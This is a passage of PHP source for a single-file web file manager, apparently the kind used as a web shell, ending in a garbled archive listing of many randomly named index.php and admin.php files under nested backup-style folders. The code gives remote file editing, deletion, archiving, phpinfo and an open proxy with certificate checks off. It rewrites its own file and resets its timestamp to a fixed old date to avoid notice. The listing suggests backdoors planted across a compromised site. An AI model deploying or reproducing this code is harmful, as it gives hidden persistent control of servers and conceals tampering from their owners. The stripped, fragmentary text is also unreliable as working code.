}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return ''.$name.' ';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' ';
}
function fm_run_input($lng) {
global $fm_config;
$return = !empty($fm_config['enable_'.$lng.'_console']) ?
'
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//????-??? ????? ?????????? ?????
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= ' ';
}
return '
'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'
';
}
function find_text_in_files($dir, $mask, $text) {
$results = array();
if ($handle = opendir($dir)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$path = $dir . "/" . $entry;
if (is_dir($path)) {
$results = array_merge($results, find_text_in_files($path, $mask, $text));
} else {
if (fnmatch($mask, $entry)) {
$contents = file_get_contents($path);
if (strpos($contents, $text) !== false) {
$results[] = str_replace('//', '/', $path);
}
}
}
}
}
closedir($handle);
}
return $results;
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
echo '
'.__('File manager').'
'.__('Login').'
'.__('Password').'
'.fm_lang_form($language).'
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%()%i', '$1'.''.$proxy_form, $result);
echo $result;
die();
}
}
?>
=__('File manager')?>
'.__('File manager').' - '.__('Settings').'
'.(empty($msg)?'':''.$msg.' ').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
SQL server
SQL user
SQL password
SQL DB
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
'.__('Reset settings').'
';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
'.strtoupper($res_lng).' '.__('Result').''.$fun($res).' ';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
'.') {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
'.') {
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg .= __('Found in files').' ('.count($search_data).'): ';
foreach ($search_data as $filename) {
$msg .= ''.basename($filename).' ';
}
} else {
$msg .= __('Nothing founded');
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' '.__('Delete') . ' ';
else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' '.__('Delete').' ';
} else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' '.__('Delete').' ';
} else $msg .= __('Error occurred').': '.__('no files');
}
?>
=__('Filename')?>
=__('Size')?>
=__('Date')?>
=__('Rights')?>
=__('Manage')?>
'.$file.'';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? ' '.$file.' '
: ' '.$file.' ';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '' . __('Delete') . ' ';
$renamelink = fm_root($file) ? '' : '' . __('Rename') . ' ';
$rightstext = ($file=='.' || $file=='..') ? '' : '' . @fm_rights_string($filename) . ' ';
?>
=$link?>
=$filedata[7]?>
=gmdate("Y-m-d H:i:s",$filedata[9])?>
=$rightstext?>
=$deletelink?>
=$renamelink?>
=$loadlink?>
=$arlink?>
Github |
. ';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' |
proxy ';
if (!empty($fm_config['show_phpinfo'])) echo ' |
phpinfo ';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' |
xls ';
if (!empty($fm_config['fm_settings'])) echo ' |
'.__('Settings').' ';
?>
errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': ';
foreach ($Errors as $value)
$message .= $value.' ';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $iarchive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
?>
PK 4\kc * v3/2025/2025/2024/media/fxrs/efu/index.phpnu W+A PK 4\Fb b $ K v3/2025/2025/v1/dist/ndfwu/index.phpnu W+A PK 4\Fb b ! v3/2025/backup/data/yoi/index.phpnu W+A PK T
5\$J!Q3 3 ( wlw/img/modules/v3/backup/pwff/admin.phpnu W+A PK T
5\$J!Q3 3 - ? wlw/dist/files/tmp/cache/js/xvn/fdl/admin.phpnu W+A PK 5\Ic ) ϥ tmp/media/dist/cache/files/yrat/index.phpnu W+A PK 5\V v2/v3/tgv/index.phpnu W+A PK 5\Z5A 9 q v2/includes/includes/2025/css/images/ajge/hbhhz/index.phpnu W+A PK 5\?K $ v2/backup/assets/vboog/zsp/index.phpnu W+A PK 5\ڦ P: P: 6 v2/wasy/mfwgz/admin.phpnu W+A PK
q